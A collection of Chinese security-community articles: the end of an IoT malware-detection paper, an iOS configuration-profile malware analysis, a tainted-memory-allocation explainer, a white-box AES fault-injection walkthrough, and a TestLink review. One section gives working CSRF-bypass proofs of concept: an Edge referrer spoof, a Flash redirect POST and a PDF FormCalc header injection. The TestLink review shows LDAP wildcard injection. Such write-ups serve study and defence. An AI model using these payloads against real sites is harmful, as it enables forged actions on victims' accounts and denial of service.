下表3是本文用于训练和建立物联网恶意软件检测模型的ZFNet层名、张量大小和参数。
表3 用于构建物联网恶意软件检测模型的ZFNet结构表
DAIMD模型通过对特征图像进行训练，利用ZFNet模型对训练数据集中共840张图像进行检测，检测出物联网恶意软件。IoT恶意软件检测准确率为99.87%，实际数据与通过模型输出的数据相差0.0047。
为了验证训练后的DAIMD模型是否能准确检测物联网恶意软件，使用测试数据集中的561个文件进行测试，检测准确率为99.28%。
## 0x05 效果评估
为了检验本文提出的DAIMD是否能够准确分析和检测知名的物联网恶意软件以及智能演化的新的和变种的物联网恶意软件，进行了性能评估。用于评估所实现模型性能的指标是假良性率（FPR）、假恶性率（FNR）和准确率（ACY）。
FPR指的是物联网恶意软件被误判为良性的比率。这里，假良性(FP)是指即使是物联网恶意软件，也被归为良性文件的案例数量，真良性(TN)是指正确归为良性的案例数量。
FNR指的是良性文件被分类为恶意软件的比率。假良性(FN)是指即使是良性文件，也被错误地归类为物联网恶意软件的案例数，真良性(TP)是指正确归类为恶意软件的案例数。
最后，ACY指的是恶意软件和良性文件的分类准确度。
查看来源右键点击图中的MathML和附加特征。
图6显示了DAIMD模型的训练精度和损失值的变化，其中根据不同向量大小训练行为的特征数据。在训练基于特征向量最优大小的物联网恶意软件检测ZFNet模型中的行为图像时，采用Adam优化器算法进行优化；模型的训练是通过固定外延时间为40来进行的。图6（a）为DAIMD模型训练后测得的准确率。随着外延时间的增加，精度逐渐提高。当向量大小为224×224时，与其他向量大小相比，其准确率相对较低。图6
(b)显示了损失值，当它的向量大小为512×512时，损失曲线下降得相对缓慢。
为了对DAIMD进行验证，使用了训练数据集中的84条记录，占总记录数的10%。一个已实现的模型能否表现出最佳性能，可以通过验证来验证。图7显示了对不同向量大小的DAIMD模型进行验证时的精度和损失值。在图7(a)中，随着纪元的增加，尺寸为512×512的向量的验证精度与其他尺寸的向量相比逐渐提高，而尺寸为224×224的向量的验证精度明显低于场。此外，在尺寸为224×224和256×256的向量中，特定部分出现了过拟合现象。图7(b)显示了对不同向量尺寸进行验证时的测量损失值。当尺寸为512×512时，损耗曲线呈下降趋势
，而尺寸为448×448的向量在特定范围内振动很大，说明发生了过拟合。
当对通过训练和验证选出的最优DAIMD模型进行测试时，准确率、FPR和FNR可以用表4表示。当用大小为512×512的特征向量对DAIMD模型进行测试时，测试准确率为99.28%，并且证实了准确率比用其他大小的特征向量进行测试时要高。可以看出，当向量大小为512×512时
，属于物联网恶意代码，但被归类为非恶意文件的FPR值明显低于其他大小的特征向量。另一方面，当向量大小为448×448时，FNR为0.52%
，低于512×512向量大小的情况。由于检测物联网恶意软件最重要的指标是FPR，所以本文也非常重视所开发模型在FPR下的性能评价。
表4 不同向量大小的测试精度、FPR和FNR结果比较。
在图6、7和表4中，使用512×512大小的向量对DAIMD模型进行训练、验证和测试时，FPR值的性能和准确率都比使用不同大小的向量进行的性能好。
表5是所提出的模型与其他恶意软件检测模型的比较。为了评价模型的性能，指定了以下比较项目：在什么环境下检测恶意软件；使用了什么分析技术；测试精度和FPR值。由于没有测量周氏模型[39]的FPR值，所以没有包括在内。
表5 DAIMD与其他恶意软件检测模型的性能比较
五种类型的恶意软件检测模型均采用不同的分析技术对不同环境下的恶意软件进行了分析和检测。总体而言，各模型的准确率值均表现出95%以上的优秀检测性能。其中，DAIMD模型的准确率(99.28%)最好，它将恶意软件错误分类为良性的概率(0.63%)最低。这意味着，DAIMD模型可以准确检测威胁物联网设备的变种恶意软件。
## 0x06 结论
在嵌入式Linux环境下配置各种架构和库的物联网设备，由于其攻击点较广，市场上分布着许多易受攻击的产品，因此特别受到恶意软件作者的攻击。大多数物联网设备都配备了ARM处理器，因此针对搭载ARM处理器的物联网恶意软件样本数量也随之增加。针对这一问题，人们进行了大量的研究来分析和检测物联网恶意软件。然而，大多数研究都涉及到恶意软件分析人员的主观干预，以选择和分类具有代表性的恶意软件行为。这种方法使得在智能进化的过程中，准确检测新的和变种的物联网恶意软件有潜在的困难。此外，在基于Linux的嵌入式物联网设备中，为检测物联网恶意软件必须提取大量的行为数据，而这些数据配备了为特定目的设计的有限硬件资源，很难长期积累和存储。
因此，本文提出了一种动态分析的物联网恶意软件检测（DAIMD）方案，在虚拟嵌入式系统下和云环境下利用CNN模型动态分析物联网恶意软件，并对物联网恶意软件进行训练和分类。首先，设计并实现了基于云端的嵌套虚拟环境，在安全的环境下对物联网恶意软件进行分析和检测。然后，在云环境下按照调试、特征提取、特征预处理、特征选择和分类等阶段进行训练、验证和测试，创建了DAIMD模型。由于通过检测过程提取的行为特征数据较多，为了避免分类阶段特征数据的训练和分类存在复杂的计算问题，将其转换为图像，减少了数据的维数。此外，通过DAIMD可视化技术，全面体现了物联网恶意软件和良性文件的特征。
利用DAIMD可以防止物联网设备的感染或物联网恶意软件向其他通过互联网连接的物联网设备传播。此外，由于DAIMD利用CNN模型对行为特征进行选择和分类，不需要人为的主观干预，因此可以准确地检测出具有各种智能攻击技术的新型和变种物联网恶意软件。
本文提出的DAIMD通过执行物联网恶意软件，采用动态分析技术分析行为特征。由于一些物联网恶意软件很容易识别出它们是在虚拟机等有限的环境中执行的，它们可能会避开使用动态分析技术的恶意软件分析和检测系统。因此，今后将研究如何实现一种能够利用混合分析技术检测物联网恶意软件的模型。 | 社区文章 |
# 【技术分享】iXintpwn/YJSNPI滥用iOS配置文件，可以导致设备崩溃
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/ixintpwn-yjsnpi-abuses-ioss-config-profile-can-crash-devices/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Janus情报局](http://bobao.360.cn/member/contribute?uid=2954465307)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
由于iOS系统技术门槛高，封闭性强，针对iOS设备的威胁相对较少。但是这并不意味着iOS设备坚不可摧。[2016年](http://blog.trendmicro.com/trendlabs-security-intelligence/2016-mobile-threat-landscape/)，我们也看到了一些成功的威胁事件，从[滥用企业证书](http://blog.trendmicro.com/trendlabs-security-intelligence/ios-masque-attack-spoof-apps-bypass-privacy-protection/)到利用漏洞[突破](https://www.trendmicro.com/vinfo/us/security/research-and-analysis/predictions/2017)iOS平台的限制。
这在iXintpwn/YJSNPI中得到了进一步的体现(Trend
Micro标记为TROJ_YJSNPI.A)，在这个案例中，利用恶意配置文件使iOS设备崩溃无响应。这是今年6月初[被逮捕](http://d.hatena.ne.jp/Kango/20170611/1497198757#20170611fn1)的一个日本脚本小子的部分作品。
虽然现在iXintpwn/YJSNPI只在日本传播，但是社交网络如此便捷的现在，想要全球传播也不是个难事。
iXintpwn/YJSNPI最早于2016年11月下旬在twitter出现，一个名为“iXintpwn”的iOS越狱者声称其可以对iOS设备进行越狱，随后YouTube和其他社交网站上也开始相继传播。iXintpwn也是发布恶意文件的网站名称。而在受感染的设备中各种图标都会显示为“YJSNPI”，这也被称为“Beast
Senpai”(Senpai在日本一般指的是老师或导师)，这个图片经常在日本论坛上的默认图片。
不管它是想搞恶作剧还是想出名，这都不重要，重要的是它的攻击手段。因为在这个案例中，攻击者可以利用iXintpwn/YJSNPI滥用iOS的特性：未签名的iOS配置文件。
YJSNPI可以通过访问包含恶意文件的网站来扩散，主要通过Safari。当用户访问网站时，恶意网站的JavaScript文件会响应一个blob对象(恶意配置文件)。而在iOS设备上，最新的Safari接收到服务器的响应信息并将自动下载配置文件。
**滥用iOS配置文件**
[iOS配置文件](https://developer.apple.com/library/content/featuredarticles/iPhoneConfigurationProfileRef/Introduction/Introduction.html)能够帮助开发者简化大量设备的设置，包括电子邮件和exchange、网络和证书。例如，企业利用这些配置文件来简化对自研应用和企业设备的管理。配置文件还可以自义定设备限制，Wi-Fi、虚拟专用网络(VPN)、轻量目录访问协议(LDAP)目录、日历扩展到WebDAV(CalDAV)、web剪辑、证书和密钥。
很显然，可以利用恶意配置文件来修改这些设置，即转移设备的流量。这种恶意行为的典型例子包括[窃取信息的Wirelurker](http://blog.trendmicro.com/trendlabs-security-intelligence/staying-safe-from-wirelurker-the-combined-macios-threat/)和来自[Haima的重打包广告软件](http://blog.trendmicro.com/trendlabs-security-intelligence/how-a-third-party-app-store-abuses-apples-developer-enterprise-program-to-serve-adware/)。
在iXintpwn/YJSNPI这个例子中，它使用未签名的配置文件，并将其设置为“不能被删除”，让用户无法卸载，如下图所示。
对于持续性，“PayloadIdentifier”字符串的值是通过JavaScript随机生成的(很机智)。需要注意的事，iOS在安装签名或未签名的配置文件时采取了相应的措施，需要用户直接进行交互。唯一的区别是这些配置文件的显示方式，例如，签名的文件被表示为“已验证”。
**iOS SpringBoard图标溢出**
在iXintpwn/YJSNPI的配置文件安装后，主屏幕上会叠加很多同样的图标。点击它会导致满是YJSNPI图标的屏幕溢出，并且桌面SpringBoard崩溃。此时，YJSNPI图标是可点击的，但只会显示图标更大的分辨率。在图标溢出期间，设备无任何响应。
**缓解措施**
比较幸运，这个YJSNPI是可以从设备中卸载的，虽然它被设置为不可移除。已经受影响的用户可以利用苹果公司提供的[Apple Configurator
2](https://support.apple.com/apple-configurator)，或者官方的iOS帮助软件利用[Mac](https://itunes.apple.com/us/app/apple-configurator-2/id1037126344?mt=12)管理Apple设备，找到并删除恶意配置文件。
但是，有些步骤需要注意下。YJSNPI必须完整安装，否则图标无法被移除。——也就是说，如果未完整安装，那么当Apple Configurator
2运行时，恶意配置文件不会显示出来。还有就是，Apple Configurator 2并没有Windows版本。
提升移动设备安全性是非常必要的，尤其当iOS设备在BYOD环境中运行时。
定期对iOS系统和应用程序进行更新和打补丁，只从应用商店或可信的来源下载应用程序。越狱有风险，安装需谨慎。应充分意识到授权的重要性，对于可疑应用所请求的可疑权限应理智判断。同样建议应用开发人员采取一定的措施保护所开发的应用程序，这样可以在一定程度上降低其被利用而进行恶意传播的几率。 | 社区文章 |
# 【缺陷周话】第28期：被污染的内存分配
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 2、 被污染的内存分配的危害
直接将被污染的数据作为内存分配函数长度参数，如传入了一个极大的整数值，程序就会相应的分配一块极大的内存，从而导致系统极大的内存开销，甚至导致拒绝服务攻击。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年3月，CVE中就有4条相关漏洞信息。漏洞信息如下：
CVE | 概述
---|---
CVE-2018-6869 | ZZIPlib 0.13.68 版本中的 zzip/zip.c
文件的‘__zzip_parse_root_directory’函数存在安全漏洞。远程攻击者可借助特制的zip文件利用该漏洞造成拒绝服务（不可控的内存分配和崩溃）。
CVE-2018-5783 | PoDoFo 0.9.5 版本中的
base/PdfVecObjects.h文件的‘PoDoFo::PdfVecObjects::Reserve’函数存在安全漏洞。远程攻击者可借助特制的pdf文件利用该漏洞造成拒绝服务（不受控的内存分配）。
CVE-2018-5296 | PoDoFo 0.9.5 版本中的 base/PdfParser.cpp
文件的‘PdfParser::ReadXRefSubsection’函数存在安全漏洞，该漏洞源于程序没有控制内存的分配。远程攻击者可借助特制的pdf文件利用该漏洞造成拒绝服务。
## 3、示例代码
本节所用示例参考CWE-789: Uncontrolled Memory Allocation
(http://cwe.mitre.org/data/definitions/789.html) 提供的代码示例，并对示例中的
GetUntrustedInt() 函数进行了定义。
### 3.1缺陷代码
在上述示例代码中，在第9行使用 malloc() 函数进行长度为 totBytes 字节的内存分配，通过跟踪路径可以看出， totBytes 在第6行通过
size*sizeof(char); 计算结果进行赋值，而 size 的值是第7行使用 scanf()
函数获取的用户键盘输入，为被污染的数据源，从而导致内存分配长度 totBytes 被污染，存在“被污染的内存分配”问题。
使用360代码卫士对上述示例代码进行检测，可以检出“被污染的内存分配”缺陷，显示等级为高。如图1所示：
图1：被污染的内存分配的检测示例
### 3.2 修复代码
在上述修复代码中，虽然 totBytes 的来源为被污染的数据，但在第10行对 totBytes 的长度进行了有效限制，从而避免了被污染的内存分配。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“被污染的内存分配”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免被污染的内存分配
（1）避免使用被污染的数据直接作为内存分配函数的长度参数，如无法避免，则应对被污染的数据进行有效限制。
（2）使用源代码静态分析工具，可以有效发现这类问题。 | 社区文章 |
＃1. Bypass只验证Referrer的CSRF防御
//Edge only
//Ref:https://www.cracking.com.ar/demos/referer/02/
<h2>Edge Referrer Spoof II</h2>
Referrer to Spoof: <input id="spoofed_referer" value="https://www.microsoft.com/" type="text" size="50"/>
<br /><br />
Fooled WebSite: <input id="fooled_website" value="https://www.whatismyreferer.com" type="text" size="50"/>
<br /><br />
<input type="button" value="Spoof Me" onclick="spoofMe()" />
<script>
function spoofMe()
{
var win = window.open("redir.php?URL=" + spoofed_referer.value);
var ifr = win.document.createElement("iframe");
win.document.appendChild(ifr);
win[0].opener = win;
win[0].setTimeout("alert('Thread blocker. \\nClose me once the site starts loading behind.\\nThen we will automatically redirect with the forged referrer');opener.location='"+fooled_website.value +"'");
}
</script>
＃2. Bypass只验证Content-Type请求头的CSRF防御
//受害者浏览器需要安装flash&开启flash
//Ref:https://github.com/sp1d3r/swf_json_csrf/
//source.as
package
{
import flash.display.Loader;
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class re extends Sprite
{
public function re()
{
var myJson: String = this.root.loaderInfo.parameters.jsonData;
var url: String = this.root.loaderInfo.parameters.php_url;
var endpoint: String = this.root.loaderInfo.parameters.endpoint;
var ct: String = (this.root.loaderInfo.parameters.ct)?this.root.loaderInfo.parameters.ct:"application/json";
var request: URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
request.requestHeaders.push(new URLRequestHeader("Content-Type", ct));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader: URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e: Error)
{
trace(e);
return;
}
}
}
}
//redirect.php
<?php
header("Location: ".$_GET["endpoint"], true, 307);
?>
//请求示例
//https://yourhost.com/test.swf?jsonData={"test":1}&php_url=https://yourhost.com/test.php&endpoint=https://targethost.com/endpoint
＃3. Bypass只验证自定义HTTP头的CSRF防御
//受害者需要使用IE且IE安装有Acrobat Reader
//ref:http://insert-script.blogspot.jp/2015/05/pdf-mess-with-web.html
//test.pdf
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
Post("http://sameOrigin.com/redirect.php","YOUR POST DATA","text/plain","utf-8","Content-Type: DolphinTest: AAA")
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
//redirect.php
<?php
header("Location: http://example.com", true, 307);
?>
//请求示例
//http://sameOrigin.com/test.pdf
Happy bug hunting! | 社区文章 |
# 侧信道攻击，从喊666到入门之——错误注入攻击白盒
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：backahasten
[上文中](https://mp.weixin.qq.com/s?__biz=MzI2NzI2OTExNA==&mid=2247485952&idx=1&sn=af86f9c3ad810db1ee11a119e8de1d5f&chksm=ea802c95ddf7a583e8acd1be3c08cbac24bd7dcbb7f472ee69ceeae0d6105347c376cf02fcb1&token=1560489779&lang=zh_CN#rd)，我们介绍了有关`Unicorn`的使用，为了避免只造轮子不开车的现象出现，我们就用`Unicorn`来亲手攻击一个`AES`白盒。
我选取了`CHES 2016`
竞赛中的`AES`白盒，这个白盒非常白，甚至给了源码，代码和程序可以在[这里](https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_ches2016)找到。这个链接还包含里`Writeup`，但是其中使用的工具很老了，还是`python2`的代码，并且使用的执行引擎是`PIN`，如果是`ARM`的安卓`APP`里的白盒就没办法了。
我选取了`CHES 2016`
竞赛中的`AES`白盒，这个白盒非常白，甚至给了源码，代码和程序可以在[这里](https://github.com/SideChannelMarvels/Deadpool/tree/master/wbs_aes_ches2016)找到。这个链接还包含里`Writeup`，但是其中使用的工具很老了，还是`python2`的代码，并且使用的执行引擎是`PIN`，如果是`ARM`的安卓`APP`里的白盒就没办法了。
## 啊呜，数学
#### **!!!!!!!!!所有计算均在——有限 _域_ GF( _2^8_ )!!!!!!!!**
在进行白盒破解之前，我们看一下错误注入的原理是什么。
对于AES128来说，错误注入的目标在第九轮的 _MixColumns_ 计算之前，第九轮的 _MixColumns_ 计算之前的数据假设是这个样子的：
假设我们的错误正好命中了第一个字节，则数据流变成了：
之后，数据流会依次进入
* _MixColumns_
* _AddRoundKey_ _K_ 9
* _SubBytes_
* _ShiftRows_
* _AddRoundKey_ _K_ 10
中间的过程就不写了，有兴趣的通过可以自己推一下，如果熟悉`AES`的计算过程，不难推算。[这篇文章](https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html)有详细的推导过程。
最后，`AddRoundKey *K*10` 结束之后输出，应该是这个样子的：
如果成功错误注入的话，会变成这个样子：(其中的+号表示异或)
以第一个字节为例，我们设：
之后把`O`和`O’`进行`Xor`计算：
__
得到：
__
设：
原式变为：
__
把剩下3个字节补齐，得到：
四个Y的取值都是`0-255`,遍历四个Y，就可以得到Z的一个取值范围
。得到Z的取值范围了之后，可以对应一组Y。(再说一次，乘法和加法都在GF(2^8)上)
之后通过关系公式：
推导出一组`K10（0,7,10,13）`密钥的值。
这只是错误出现在第一个Byte的情况，通过多组错误输出，可以唯一的推导所有的`K10`,之后通过密钥扩展算法，推导出`AES`的密钥。
这个地方有点绕，我们举个例子：
假设O13 ^O’13 = 0x55，我们尝试求一下：
sbox=(
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)
a=[]
for y3 in range(256):
#假设O13 ^ O'13 = 0x55
a.append(sbox.index(0x55 ^ sbox[i]) ^ y3)
print(a)
计算得到了256个数，但是由于其中有的数是重复的，所以可以缩小Z的取值范围。拿到了Z之后，就可以推导出对应的Y，由于O是已知的，所以可以推出密钥或者缩小密钥的范围。
那么`2Z`和`3Z`怎么计算？
这里的2,3与Z的关系是有限域中的乘法，所以计算求Z的时候，并不是简单的除一下就行了，而是域中的计算。需要涉及到生成多项式`0x11B`求逆元的计算。(推荐一本书，密码编码学与网络安全—原理与实践-第六版，写的很好。)
## 实践操作
我没有像[参考文章](https://bbs.pediy.com/thread-254042.htm)一样用`frida`和`idapython`去做，这样不太灵活。我使用了`unicorn`
引擎，一般来说，白盒AES算法都会被封装在一个或者连续的几个函数中，这样对于`Unicorn` 是十分方便的。
我的目标没有选择上文中的`wbDES`，它太老了，而且DES的使用越来越少，我也没有使用参看文献中的基于`OLLVM`的实现，因为`OLLVM`混淆之后的AES也不是严格意义上的白盒，我选用了CHES
2016 CTF上的一道题。
首先对程序使用`GDB`进行分析，发现程序的`main`函数主要是获取输入和输出，加密过程`chow_aes3_encrypt_wb`函数中，在`chow_aes3_encrypt_wb`下断点。
**_(注：我没有使用github中提供的Shared object文件，而是使用源码，在makefile中添加了-no-pie参数，重新编译了一个executable文件)_**
之后在函数的执行结束的位置下断点。
发现程序使用`RSI`和`RDI`进行传参，`RSI`保存的指针是输出缓冲区，`RDI`保存的指针是函数输出数据的位置。
之后开始栈空间的构建，具体构建的方法和调试请参考上一篇文章。
有错误注入攻击，一定需要能量分析攻击，在针对芯片的攻击中，SPA和DPA可以提供攻击位置信息，针对白盒的攻击也差不多，白盒的实现是针对查找表实现的，所以我们首先需要打印出来所有内存读的位置，这也是为了后续的攻击做准备。在hook中添加筛选条件：
if access == UC_MEM_READ and size == 1 and address<0xb0000000:
其中，size==1表示每次读取的大小是一个字节，因为AES是以字节为单位进行计算的;address<0xb0000000是为了排除程序在操作栈中数据时的误触发。
（左边数值是地址值的十进制表示，实际是从0x61a800(6400000)到0x6acfc0(7000000)）
这个图可以看出，查找表随着时间是从高地址向低地址分布的。
接下来，我们开始hook并错误注入，我们需要注入的是第九轮，也就是说，在时间上是比较靠后的位置，在这个过程中，我们需要不停的改变注入的位置，通过分析错误输出，来了解是否注入对了地方，如果正好输出了四个错误，并且位置符合，就是注入对了地方;如果错误的位置过多，表示注入的靠前了，如果错误的位置只有一个，说明注入的位置靠后了。
我们拿到了符合条件的错误输出值：
628caf41f9a2f7a51c57b9e23e137365
628cf341f961f7a5c157b9e23e137366
628c2f41f91ff7a5b557b9e23e13730e
628c1541f9caf7a56e57b9e23e1373b8
628c6e41f9b0f7a5d857b9e23e137323
628c1b41f961f7a5c457b9e23e1373aa
628c3d41f93ff7a57857b9e23e13730e
628c1e41f902f7a5bb57b9e23e13732b
628c8c41f9e4f7a5a757b9e23e137319
628ca341f948f7a56057b9e23e1373a2
628cc241f950f7a50f57b9e23e137319
628cbc41f9aef7a58157b9e23e13735a
628c4e41f9a1f7a50057b9e23e1373e3
628ccf41f914f7a57f57b9e23e137317
628cbc41f9aef7a58157b9e23e13735a
628caf4af9a286a51cf9b9e2d7137365
628cafd9f9a22aa51c3bb9e205137365
628cafd9f9a22aa51c3bb9e205137365
628cafd9f9a22aa51c3bb9e205137365
628caf85f9a27aa51cb4b9e2d4137365
628cafc2f9a245a51ce9b9e2f4137365
628cafd9f9a22aa51c3bb9e205137365
f88caf41f9a2f7441c5782e23ef47365
6c8caf41f9a2f7c71c57c6e23e297365
a68caf41f9a2f7781c57e6e23eb97365
828caf41f9a2f7391c5739e23ef27365
d48caf41f9a2f7931c57f7e23e8b7365
3d8caf41f9a2f7061c5736e23ee87365
6236af4122a2f7a51c57b9b83e138f65
62faaf41bba2f7a51c57b9483e133365
6236af4122a2f7a51c57b9b83e138f65
6296af41b6a2f7a51c57b9f93e138a65
6272af41b3a2f7a51c57b9493e13bb65
62f4af41ada2f7a51c57b9ef3e13bd65
6272af41b3a2f7a51c57b9493e13bb65
62c5af4167a2f7a51c57b93e3e133f65
拿到足够多的错误输出后，我使用了工具[https://github.com/SideChannelMarvels/JeanGrey/tree/master/phoenixAES进行上述的数学计算推导过程](https://github.com/SideChannelMarvels/JeanGrey/tree/master/phoenixAES%E8%BF%9B%E8%A1%8C%E4%B8%8A%E8%BF%B0%E7%9A%84%E6%95%B0%E5%AD%A6%E8%AE%A1%E7%AE%97%E6%8E%A8%E5%AF%BC%E8%BF%87%E7%A8%8B)
得到第10轮密钥之后，使用工具`aes_keyschedule`推算出`AES-128`的密钥。
### 参考：
[1]<https://blog.quarkslab.com/differential-fault-analysis-on-white-box-aes-implementations.html>
[2]<https://bbs.pediy.com/thread-254042.htm>
ps：如果你对小米安全中心有任何建议，可通过QQ：3022560938联系我们 | 社区文章 |
1. 周末简单看了看TestLink，觉得它的登录过程还比较有意思，涉及到了常见的开发错误
2. 因此简单整理下，抛砖引玉
3. 如果你也有阅读Bug report的习惯，相信会有共鸣
# 0x00 安装
git clone https://github.com/TestLinkOpenSourceTRMS/testlink-code
git branch -a
git checkout -b testlink_1_9_20_fixed origin/testlink_1_9_20_fixed
其后，需要修改两个路径
* 日志目录 ( `$tlCfg->log_path`)
* 上传目录 ( `$g_repositoryPath`)
最后附上我的环境
● Apache 2.4.39 + PHP 7.4.3nts
● MySQL 5.7.26
● extension ldap enabled（None-Default）
# 0x01 风险概览
与其说是“代码审计”，不如说是“代码风险评估”。
一套系统的安全水位，从"安装”的时候就可初见端倪
## （1）默认密码
成功安装后，TestLink Administrator默认的账号密码，登录后不强制要求更改密码
○ login name: admin
○ password : admin
## （2）默认重装漏洞
默认重装漏洞，
安装好之后不会自动删除`/install/`文件夹，也没有`.lock`之类的文件来记录“安装状态”，因此即便之前已经安装好了——只要运维没删文件夹，就能重新安装（默认如此）
# 0x02 基础
这套CMS中, 不涉及路由转换, 直接访问文件即可。
倒是接受参数的形式，可以介绍下：定义了`init_args()`方法，规定了参数的类型、范围等
* 一眼看过去，全是`String`，基本等于没校验嘛。
* 需要注意151-152行的，`urldecode()`。常见的二次解码，若参数filter使用顺序不当，极易造成二次编码绕过
# 0x03 漏洞
## （1）开放重定向->XSS
直接参考这个pr即可
[vuln OpenRedirect 导致 login.php 中的 XSS
攻击](https://github.com/TestLinkOpenSourceTRMS/testlink-code/pull/316)
1. `redirect_url`限制不当，导致任意重定向；
2. 重定向由`<SCript>`标签实现，XSS filter不当，最终导致XSS；
## （2）登录处用户名LDAP注入
LDAP注入不太常见，一般认为危害没有SQL注入大，可参考[LDAP_Injection_Prevention_Cheat_Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)
前置要求：
* 启用LDAP拓展，正确配置了LDAP认证服务器。
* 我这里采用的LDAP实现是 <https://github.com/wshihadeh/ldap_server> ，自己又加了几千条
直接上代码
`lib/functions/ldap_api.php#161`
攻击者可能通过此漏洞：
1. 构造模糊查询，如*，耗尽LDAP服务器资源
2. 更改LDAP查询语句的逻辑，进而间接控制查询结果为True、False
See：<https://cloud.tencent.com/developer/article/1584896>
我这里还希望举例说明一种不常见的利用方案：Heavy Query
将用户名改为`*`，使该查询匹配当前cn下的所有用户，危害跟LDAP中的用户规模有关
发包过去，服务器处理了四十多秒...
## （3）第三方认证后的设计缺陷：硬编码
在特定配置下，系统会将所有通过LDAP/Oauth登录的用户数据，在DB做插入，且会设置一个固定的密码。相关代码在：
[lib/functions/doAuthorize.php#L137](https://github.com/TestLinkOpenSourceTRMS/testlink-code/blob/b3004c6fa1b7cfcb61023b339f95212d706d9a11/lib/functions/doAuthorize.php#L137)
# lib/functions/doAuthorize.php#L137
if( $forceUserCreation ) {
// first & last name are mandatory
$user->firstName = trim($user->firstName);
$user->lastName = trim($user->lastName);
$porsi = explode('@',$user->emailAddress);
if ($user->firstName == '') {
$user->firstName = 'DynGen ' . trim($porsi[0]);
}
if ($user->lastName == '') {
$user->lastName = 'DynGen ' . trim($porsi[1]);
}
// Anyway, write a password on the DB.
$fake = md5('the quick brown fox jumps over the lazy dog');//【默认密码！】
$fake = md5(md5($fake));
$user->setPassword($fake);
$doLogin = ($user->writeToDB($db) == tl::OK);
}
若满足下面的任意一种条件，即会触发自动添加账号的流程：
1. 采用LDAP认证且配置开启了`ldap_automatic_user_creation。`
2. 采用Oauth认证。这一项，也是需要在`config.inc.php`里面配置滴。
要进入【添加账户】的流程，首先，要确保`$loginExists`为False，采用LDAP认证肯定就查不到当前用户嘛...
// Think not using else make things a little bit clear
// Will Try To Create a New User
if( FALSE == $loginExists ) {//【condition 1】
$authCfg = config_get('authentication');
$forceUserCreation = false;
$user = new tlUser();
$user->login = $login;
$user->isActive = true;
if ($isOauth){//【condition 2'】
$forceUserCreation = true;
$user->authentication = 'OAUTH';
$user->emailAddress = $login;
$user->firstName = $options->givenName;
$user->lastName = $options->familyName;
} else {
if( $authCfg['ldap_automatic_user_creation'] ) {
$user->authentication = 'LDAP'; // force for auth_does_password_match
$check = auth_does_password_match($db,$user,$pwd);
if( $check->status_ok ) {
$forceUserCreation = true;//【condition 2''】
$uf = getUserFieldsFromLDAP($user->login,
